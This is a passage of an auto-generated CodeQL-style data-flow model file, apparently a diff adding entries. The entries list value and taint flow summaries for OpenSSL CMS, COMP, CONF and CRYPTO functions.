"(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "CMS_add_simple_smimecap", "(stack_st_X509_ALGOR **,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_add_smimecap", "(CMS_SignerInfo *,stack_st_X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_add_standard_smimecap", "(stack_st_X509_ALGOR **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_dataInit", "(CMS_ContentInfo *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_data_create_ex", "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_decrypt", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_decrypt", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_decrypt_set1_pkey", "(CMS_ContentInfo *,EVP_PKEY *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_decrypt_set1_pkey_and_peer", "(CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_digest_create_ex", "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_digest_verify", "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_encrypt_ex", "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_final", "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)", "", "Argument[2]", "Argument[*2].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_final_digest", "(CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_get0_content", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CMS_get0_content", "(CMS_ContentInfo *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_get0_type", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[**contentType]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CMS_get0_type", "(const CMS_ContentInfo *)", "", "Argument[*0].Field[*contentType]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_sign", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*5]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "CMS_sign_ex", "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_sign_receipt", "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "CMS_signed_add1_attr", "(CMS_SignerInfo *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "Argument[*0].Field[**signedAttrs].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr", "(const CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_by_NID", "(const CMS_SignerInfo *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_by_OBJ", "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_signed_get_attr_count", "(const CMS_SignerInfo *)", "", "Argument[*0].Field[**signedAttrs].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_unsigned_add1_attr", "(CMS_SignerInfo *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "Argument[*0].Field[**unsignedAttrs].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_delete_attr", "(CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr", "(const CMS_SignerInfo *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_by_NID", "(const CMS_SignerInfo *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_by_OBJ", "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CMS_unsigned_get_attr_count", "(const CMS_SignerInfo *)", "", "Argument[*0].Field[**unsignedAttrs].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[3]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[4]", "Argument[*3].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "CMS_verify", "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)", "", "Argument[4]", "Argument[*4].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_method", "(const COMP_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_method", "(const COMP_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_get_type", "(const COMP_CTX *)", "", "Argument[*0].Field[**meth].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_new", "(COMP_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "COMP_CTX_new", "(COMP_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "COMP_compress_block", "(COMP_CTX *,unsigned char *,int,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "COMP_expand_block", "(COMP_CTX *,unsigned char *,int,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*expand_in]", "taint", "dfc-generated"] + - ["", "", True, "COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "COMP_get_name", "(const COMP_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "COMP_get_type", "(const COMP_METHOD *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_flags", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_module", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**pmod]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_module", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*pmod]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_name", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_name", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_usr_data", "(const CONF_IMODULE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CONF_imodule_get_value", "(const CONF_IMODULE *)", "", "Argument[*0].Field[**value]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_get_value", "(const CONF_IMODULE *)", "", "Argument[*0].Field[*value]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_flags", "(CONF_IMODULE *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[**1]", "Argument[*0].Field[***usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[*1]", "Argument[*0].Field[**usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_imodule_set_usr_data", "(CONF_IMODULE *,void *)", "", "Argument[1]", "Argument[*0].Field[*usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_load", "(lhash_st_CONF_VALUE *,const char *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load", "(lhash_st_CONF_VALUE *,const char *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_load_bio", "(lhash_st_CONF_VALUE *,BIO *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load_bio", "(lhash_st_CONF_VALUE *,BIO *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_load_fp", "(lhash_st_CONF_VALUE *,FILE *,long *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "CONF_load_fp", "(lhash_st_CONF_VALUE *,FILE *,long *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "CONF_module_get_usr_data", "(CONF_MODULE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[**1]", "Argument[*0].Field[***usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[*1]", "Argument[*0].Field[**usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_module_set_usr_data", "(CONF_MODULE *,void *)", "", "Argument[1]", "Argument[*0].Field[*usr_data]", "value", "dfc-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_parse_list", "(const char *,int,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "CONF_set_nconf", "(CONF *,lhash_st_CONF_VALUE *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "CONF_set_nconf", "(CONF *,lhash_st_CONF_VALUE *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "CRL_DIST_POINTS_free", "(CRL_DIST_POINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "CRL_DIST_POINTS_free", "(CRL_DIST_POINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_unwrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_128_wrap_pad", "(void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_cleanup_local", "(CRYPTO_THREAD_LOCAL *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_get_local", "(CRYPTO_THREAD_LOCAL *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_THREAD_set_local", "(CRYPTO_THREAD_LOCAL *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[*2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_aligned_alloc", "(size_t,size_t,void **,const char *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_add64", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_and", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_load", "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_or", "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_atomic_store", "(uint64_t *,uint64_t,CRYPTO_RWLOCK *)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_decrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "CRYPTO_cbc128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned 